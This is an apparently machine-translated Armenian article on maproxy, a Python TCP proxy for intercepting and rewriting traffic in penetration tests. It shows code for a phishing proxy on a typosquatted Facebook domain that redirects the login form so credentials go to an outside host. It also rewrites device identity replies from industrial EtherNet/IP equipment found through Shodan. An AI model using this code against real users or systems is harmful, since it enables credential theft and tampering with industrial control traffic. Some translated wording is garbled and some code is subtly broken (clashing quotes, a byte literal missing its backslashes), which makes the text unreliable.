Հոդվածի թարգմանությունը պատրաստվել է դասընթացի մեկնարկի նախօրեին
Վերացական
Անվտանգության գնահատման մի շարք տեսակներ՝ սկսած կանոնավոր ներթափանցման փորձարկումից և Red Team-ի գործողություններից մինչև IoT/ICS սարքերի և SCADA-ի կոտրումը, ներառում են երկուական ցանցային արձանագրությունների հետ աշխատելը, այսինքն՝ հաճախորդի և թիրախի միջև ցանցի տվյալների գաղտնալսումը և փոփոխումը: Ցանցային երթևեկությունը ներծծելը բարդ խնդիր չէ, քանի որ մենք ունենք գործիքներ, ինչպիսիք են Wireshark, Tcpdump կամ Scapy, բայց փոփոխությունը կարծես ավելի աշխատատար խնդիր է, քանի որ մենք պետք է ունենանք ինչ-որ ինտերֆեյս ցանցի տվյալները կարդալու, դրանք զտելու և փոխելու համար: այն արագորեն և գրեթե իրական ժամանակում հետ ուղարկեք թիրախային հյուրընկալողին: Բացի այդ, իդեալական կլիներ, եթե նման գործիքը կարողանա ավտոմատ կերպով աշխատել մի քանի զուգահեռ կապերով և հարմարեցնել սկրիպտների միջոցով:
Մի օր ես հայտնաբերեցի մի գործիք, որը կոչվում էր
, փաստաթղթերն ինձ արագ հասկացրին, որ maproxy
- հենց այն, ինչ ինձ պետք է: Սա բավականին պարզ, բազմակողմանի և հեշտությամբ կարգավորելի TCP պրոքսի է: Ես փորձարկեցի այս գործիքը մի քանի բավականին բարդ հավելվածների վրա, ներառյալ ICS սարքերը (որոնք առաջացնում են շատ փաթեթներ), որպեսզի տեսնեմ, թե արդյոք այն կարող է կարգավորել բազմաթիվ զուգահեռ կապեր, և գործիքը լավ է աշխատել:
Այս հոդվածը ձեզ կներկայացնի ցանցի տվյալների մշակման մասին՝ օգտագործելով maproxy
.
Վերանայել
Գործիք maproxy
հիմնված է Tornado-ի՝ Python-ի հայտնի և հասուն ասինխրոն ցանցային շրջանակի վրա:
Ընդհանուր առմամբ, այն կարող է գործել մի քանի ռեժիմով.
TCP:TCP
- չգաղտնագրված TCP կապեր;TCP:SSL
иSSL:TCP
- միակողմանի կոդավորումով;SSL:SSL
- երկկողմանի գաղտնագրում:
Այն գալիս է որպես գրադարան: Արագ մեկնարկի համար կարող եք օգտագործել օրինակ ֆայլեր, որոնք արտացոլում են հիմնականը
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Դեպք 1 – պարզ երկկողմանի վստահված անձ
Հիմնված tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
By default ProxyServer()
վերցնում է երկու փաստարկ՝ կապի գտնվելու վայրը և թիրախային միացքը: server.listen()
վերցնում է մեկ փաստարկ՝ մուտքային կապը լսելու պորտը:
Սցենարի կատարում.
# python tcp2tcp.py
Թեստը գործարկելու համար մենք պատրաստվում ենք միանալ տեղական SSH սերվերին մեր պրոքսի սկրիպտի միջոցով, որը լսում է. 2222/tcp
նավահանգիստ և միանում է ստանդարտ պորտին 22/tcp
SSH սերվերներ.
Ողջույնի դրոշակը տեղեկացնում է ձեզ, որ մեր օրինակի սցենարը հաջողությամբ ապահովեց ցանցային տրաֆիկը:
Դեպք 2 – տվյալների փոփոխություն
Մեկ այլ ցուցադրական սցենար logging_proxy.py
իդեալական է ցանցային տվյալների հետ շփվելու համար: Ֆայլի մեկնաբանությունները նկարագրում են դասի մեթոդները, որոնք կարող եք փոփոխել ձեր նպատակին հասնելու համար.
Ամենահետաքրքիրն այստեղ է.
on_c2p_done_read
– հաճախորդից սերվեր ճանապարհին տվյալների գաղտնալսման համար.on_p2s_done_read
- հակադարձված:
Փորձենք փոխել SSH դրոշակը, որը սերվերը վերադարձնում է հաճախորդին.
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Կատարեք սցենարը.
Ինչպես տեսնում եք, հաճախորդը մոլորության մեջ է ընկել, քանի որ նրա համար SSH սերվերի անունը փոխվել է «DumnySSH»
.
Դեպք 3 – պարզ ֆիշինգի վեբ էջ
Այս գործիքն օգտագործելու անվերջ եղանակներ կան: Այս անգամ եկեք կենտրոնանանք Կարմիր թիմի գործառնական կողմից ավելի գործնական բանի վրա: Եկեք ընդօրինակենք վայրէջքի էջը m.facebook.com
և օգտագործեք հատուկ տիրույթ՝ միտումնավոր տառասխալով, օրինակ, m.facebok.com
. Ցուցադրական նպատակներով, ենթադրենք, որ տիրույթը գրանցված է մեր կողմից։
Մենք պատրաստվում ենք չգաղտնագրված ցանցային կապ հաստատել մեր զոհերի վստահված անձի և SSL Stream-ի հետ Facebook սերվերին (31.13.81.36
) Որպեսզի այս օրինակն աշխատի, մենք պետք է փոխարինենք HTTP հոսթի վերնագիրը և ներարկենք ճիշտ հոսթի անունը, ինչպես նաև կանջատենք պատասխանի սեղմումը, որպեսզի կարողանանք հեշտությամբ մուտք գործել բովանդակություն: Ի վերջո, մենք կփոխարինենք HTML ձևը, որպեսզի մուտքի հավատարմագրերը մեզ ուղարկվեն Facebook-ի սերվերների փոխարեն.
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/hy/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
In Summary:
Ինչպես տեսնում եք, մենք հաջողությամբ կարողացանք փոխարինել սկզբնական կայքը:
Դեպք 4 – Ethernet/IP տեղափոխում
Ես բավականին երկար ժամանակ զբաղվում եմ արդյունաբերական սարքերով և ծրագրերով (ICS/SCADA), ինչպիսիք են ծրագրավորվող կարգավորիչներ (PLC), I/O մոդուլներ, կրիչներ, ռելեներ, ladder ծրագրավորման միջավայրեր և շատ ավելին: Այս դեպքը նրանց համար է, ովքեր սիրում են արդյունաբերական իրեր։ Նման լուծումների կոտրումը ներառում է ակտիվորեն խաղալ ցանցային արձանագրությունների հետ: Հետևյալ օրինակում ես կցանկանայի ցույց տալ, թե ինչպես կարող եք փոփոխել ICS/SCADA ցանցի տրաֆիկը:
Դրա համար ձեզ հարկավոր կլինի հետևյալը.
- Ցանցային sniffer, օրինակ, Wireshark;
- Ethernet/IP կամ պարզապես SIP սարք, այն կարող եք գտնել Shodan ծառայության միջոցով;
- Մեր սցենարը հիմնված է
maproxy
.
Նախ, եկեք տեսնենք, թե ինչպիսին է CIP-ի (Ընդհանուր արդյունաբերական արձանագրության) նույնականացման բնորոշ պատասխանը.
Սարքի նույնականացումն իրականացվում է Ethernet/IP արձանագրության միջոցով, որը արդյունաբերական Ethernet արձանագրության ընդլայնված տարբերակն է, որը փաթեթավորում է վերահսկման արձանագրությունները, ինչպիսիք են CIP-ը: Մենք պատրաստվում ենք փոխել ընդգծված ID անունը, որը տեսանելի է սքրինշոթում «NI-IndComm Ethernet-ի համար» օգտագործելով մեր վստահված անձի սկրիպտը: Մենք կարող էինք նորից օգտագործել սցենարը logging_proxy.py
և նմանապես փոփոխեք դասի մեթոդը on_p2s_done_read
, քանի որ մենք ցանկանում ենք, որ հաճախորդի վրա տեսանելի լինի ինքնության այլ անուն:
Կոդ `
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Ըստ էության, մենք երկու անգամ խնդրեցինք սարքի նույնականացում, երկրորդ պատասխանը սկզբնականն էր, իսկ առաջինը փոփոխվեց թռիչքի ժամանակ:
Եվ վերջինը
Իմ կարծիքով maproxy
Հարմար և պարզ գործիք, որը գրված է նաև Python-ով, այնպես որ, կարծում եմ, որ դուք նույնպես կարող եք օգտվել դրանից: Իհարկե, կան ցանցային տվյալների մշակման և փոփոխման ավելի բարդ գործիքներ, բայց դրանք նաև ավելի մեծ ուշադրություն են պահանջում և սովորաբար ստեղծվում են հատուկ օգտագործման դեպքի համար, օրինակ. maproxy
Դուք կարող եք արագ իրականացնել ձեր գաղափարները ցանցային տվյալների գաղտնալսման համար, քանի որ օրինակի սցենարները շատ պարզ են:
Source: www.habr.com